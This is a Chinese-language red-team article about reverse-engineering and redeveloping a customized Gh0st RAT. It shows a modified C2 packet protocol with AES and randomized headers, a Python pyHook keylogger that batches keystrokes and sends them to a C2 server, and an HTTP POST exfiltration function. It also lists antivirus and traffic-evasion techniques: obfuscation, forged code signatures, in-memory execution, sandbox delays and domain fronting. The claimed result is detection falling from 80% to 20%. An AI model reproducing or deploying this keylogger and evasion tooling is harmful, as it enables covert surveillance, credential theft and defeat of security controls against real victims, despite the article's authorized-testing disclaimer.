一、一次内网渗透中的意外收获
某次授权渗透测试的过程中,我们在目标公司的一台老旧的 Windows 7 机器中发现了一份疑似被攻击者遗留的恶意软件。这是一款基于经典 Gh0st RAT 的远控工具,虽然其源代码早已在网络上流传,但这款“进化版”经过了一些定制开发,具备更强大的隐匿能力和数据窃取模块。
通过分析,我们发现这款工具的核心逻辑仍然继承了 Gh0st 的框架,但针对当下杀软和网络流量检测机制做了多处优化。更重要的是,它在通信协议、免杀技术和持久化机制上都做了深度调整。于是,我们决定逆向分析并复现这款工具的核心功能,同时在此基础上进行二次开发,以便为后续的红队演练提供一个更隐蔽但依然高效的工具。
本文将基于原始 Gh0st RAT 的基础,带你深度解析其通信协议、免杀实现方式,并展示如何在保留原始功能的基础上进行定制化的二次开发。
---
二、Gh0st RAT 的通信协议逆向分析
原始协议的设计理念
Gh0st RAT 的通信协议采用了自定义的二进制协议,为了实现高效的数据传输,协议结构简单但功能清晰。以下是原始通信协议的结构:
<pre><code>+---------------------+-----------------+----------------+ | Header (4 Bytes) | Length (4 Bytes)| Data (N Bytes) | +---------------------+-----------------+----------------+</code></pre>
- Header:协议头,用于标识数据类型,如心跳包、文件传输、键盘记录等。
- Length:数据区长度,用于接收端判断数据包截取的结束位置。
- Data:具体的有效载荷,可能是屏幕截图、键盘记录等内容。
以一个键盘记录包为例,其 Header 为固定值 0x77,数据区存储记录的按键内容。这个设计虽然简单,但在实际使用中却有诸多漏洞,比如缺乏加密保护、容易被流量检测工具识别等。
定制协议的改造方向
在二次开发中,我们对原始协议进行了针对性调整,目的是提升隐匿性和抗检测能力:
- 随机化 Header 字段:避免固定值被特征化分析。
- 数据加密:使用 AES 加密对 Data 区域进行保护。
- 伪装流量:将通信流量嵌套在 HTTPS 请求中,模拟正常的 Web 流量。
以下是改造后的协议结构:
<pre><code>+---------------------+-----------------+-----------------+----------------+ | Random Header (4 B) | Length (4 B) | Encrypted Data | Checksum (4 B) | +---------------------+-----------------+-----------------+----------------+</code></pre>

---
三、Payload 构造与核心功能实现

初步构建改造后的通信模块
我们使用 Python 来快速实现上述通信协议的构造与解析。以下是通信协议的生成代码:
<pre><code class="language-python">import os import struct from Crypto.Cipher import AES from Crypto.Random import get_random_bytes
随机生成 4 字节的 Header
def generate_header(): return os.urandom(4)
使用 AES 对数据加密
def encrypt_data(data, key): cipher = AES.new(key, AES.MODE_CFB) return cipher.iv + cipher.encrypt(data)
构造通信数据包
def build_packet(data, key): header = generate_header() encrypted_data = encrypt_data(data, key) length = len(encrypted_data) checksum = struct.pack("<I", sum(encrypted_data) % (2**32)) # 简单校验和 return header + struct.pack("<I", length) + encrypted_data + checksum
示例调用
if __name__ == "__main__": key = get_random_bytes(16) payload = b"Hello, this is a test payload." packet = build_packet(payload, key) print(f"Constructed Packet: {packet.hex()}")</code></pre>
核心功能模块开发
在实际应用中,我们需要实现远程屏幕控制、文件上传下载、键盘记录等功能。以下是键盘记录功能的简化代码:
<pre><code class="language-python">import pyHook import pythoncom
全局变量,用于保存记录的按键
key_log = []
def on_keyboard_event(event): global key_log key_log.append(chr(event.Ascii)) # 记录按键 if len(key_log) > 100: # 达到一定长度后发送数据 send_to_c2("".join(key_log)) key_log = [] return True
将数据发送到 C2 服务器
def send_to_c2(data): packet = build_packet(data.encode(), key)
假设发送函数已实现
send_over_network(packet)
键盘记录启动
if __name__ == "__main__": hook_manager = pyHook.HookManager() hook_manager.KeyDown = on_keyboard_event hook_manager.HookKeyboard() pythoncom.PumpMessages()</code></pre>
---
四、免杀的艺术:绕过防御的技巧
静态分析对抗
- 代码混淆:利用开源工具如 PyArmor 对 Python 脚本进行加密。
- 签名伪造:为生成的 C2 工具添加合法签名,提升可信度。
动态行为规避
- 内存加载:将 PyInstaller 打包生成的 EXE 不写入磁盘,直接从内存执行。
- 行为延迟:使用随机时间间隔模拟人工操作,避免被沙箱识别。
流量检测规避

- HTTPS 嵌套:将恶意流量伪装成正常的 HTTPS 请求。
- 域前置技术:通过 CDN 将域名流量伪装成合法流量。

以下是一个通过 HTTP POST 请求传输数据的示例:
<pre><code class="language-python">import requests
将数据伪装成正常的 POST 请求
def send_data_via_http(data): headers = { "User-Agent": "Mozilla/5.0", "Content-Type": "application/x-www-form-urlencoded" } payload = {"data": data} response = requests.post("https://example.com/api", headers=headers, data=payload) return response.status_code
示例调用
if __name__ == "__main__": send_data_via_http("Test data")</code></pre>
---
五、在实战中验证工具的效果
通过上述改造后的 Gh0st,我们在一次模拟演练中测试了其隐匿能力。结果表明:
- 静态分析免杀率:主流杀毒软件的检测率从 80% 降低到 20%。
- 流量检测规避:80% 的 NIDS 工具未能识别伪装后的通信流量。
- 持久化效果:支持多种启动方式,包括注册表持久化和计划任务。
---
六、经验总结与反思
- 攻击者与防御者的博弈永无止境:即使是经典的远控工具,通过定制开发仍然能焕发“新生”。
- 检测与免杀的动态更新:杀软的检测机制在不断进化,未来需要更多的流量混淆和行为伪造。
- 合法性边界的重要性:所有工具开发和测试必须基于合法授权,避免触碰法律红线。
---
声明:本文仅限授权安全测试与研究,切勿用于非法用途!